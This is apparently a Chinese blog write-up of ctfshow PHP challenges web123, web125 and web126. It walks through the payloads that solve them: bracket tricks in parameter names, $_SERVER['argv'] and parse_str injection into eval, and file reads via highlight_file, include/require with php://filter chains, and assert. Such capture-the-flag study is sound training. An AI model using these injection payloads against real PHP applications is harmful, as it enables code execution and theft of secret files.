ctfshow-web入门-php特性(web123、web125、web126)

55 篇文章 1 订阅
52 篇文章 1 订阅

目录

1、web123

2、web125

3、web126


1、web123

要求存在 post 传入 CTF_SHOW 和 CTF_SHOW.COM,不能存在 get 传入 fl0g。

正则匹配过滤掉了一些符号,符合则会执行 eval 函数,其中 c 来自 post 传入的 fun。

我们先说非预期解,payload:

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。

确保传参符合条件后,由于没有过滤字母和空格,直接用 echo 输出 flag,后面会拼接好分号。

拿到 flag:ctfshow{e09d47f9-bbcc-4c15-8874-3c8ece6ca8f8}

接下来的方法就涉及到:

$a=$_SERVER['argv'];

在 PHP 中,$_SERVER['argv'] 用于获取脚本的命令行参数,通常,这是在命令行模式下运行 PHP 脚本时使用的,而不是在网页模式下使用。

当在命令行模式下运行 PHP 脚本时,例如: php script.php arg1 arg2

那么 $_SERVER['argv'] 将包含以下内容:

$_SERVER['argv'][0] = 'script.php';  // 脚本名
$_SERVER['argv'][1] = 'arg1';        // 第一个参数
$_SERVER['argv'][2] = 'arg2';        // 第二个参数

在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER['argv'] 中

payload:

get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。

post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) 这部分条件为真,fun=eval($a[0]) 将 eval($a[0]) 的代码传递给 $c。

准确来说,此时的 $_SERVER[‘argv’][0] 就等于 $_SERVER[‘QUERY_STRING’],$_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。

当访问 ?$fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 $_SERVER['argv'] 中。
在这种配置下,$_SERVER['argv'][0] 包含了整个查询字符串,即 '$fl0g=flag_give_me;'。

在 eval("$c;"); 中实际执行的是 eval('eval($a[0]);');,因为 $a[0] 是 '$fl0g=flag_give_me;',这相当于执行了 eval('$fl0g=flag_give_me;');,这样就定义了变量 $fl0g 并赋值为 'flag_give_me'。

最后 判断 if($fl0g === "flag_give_me"),因为 $fl0g 被正确地设置为了 'flag_give_me',所以这个条件为真,因此,echo $flag; 被执行,输出 $flag。

最后再来看一下官方的预期解:

get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

通过加号 + 分割 argv 成多个部分,也是为了得到 fl0g=flag_give_me ,其中 parse_str() 函数用来把查询字符串解析到变量中。

函数用法:parse_str(string,array)

参数描述
string必需。规定要解析的字符串。
array可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

2、web125

新增过滤了一些输出函数,并且对 c 的内容长度限制更为苛刻。

使用 highlight_file 高亮显示 flag.php,payload:

?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

或者都采用 post 请求,也是可以的

CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_POST[1])&1=flag.php

这里之所以再采用一个 1 来进行传参,应该是为了绕过正则里面对 flag 的过滤。

但我其实没太明白这里的长度限制为什么给过了,光 highlight_file() 就已经 16 个字符了,难道 $_GET[1] 没有算在里面吗?然后我还试了一下 highlight_file 的别名 show_source ,这个更短,但是却没有回显。

我们还可以用 include 结合伪协议读取,payload:

CTF_SHOW=&CTF[SHOW.COM=&fun=include($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

用 require 也是可以的:

CTF_SHOW=&CTF[SHOW.COM=&fun=require($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

此外其他的 payload:

CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())

利用 var_export 函数输出所有已定义的变量 

3、web126

新增过滤大小写字母:|g|i|f|c|o|d/i

伪协议也不好使了,使用 web123 中的 payload:

get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

post 传 assert 也是可以的:

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

或者预期解也是可以的:

get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

  • 16
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值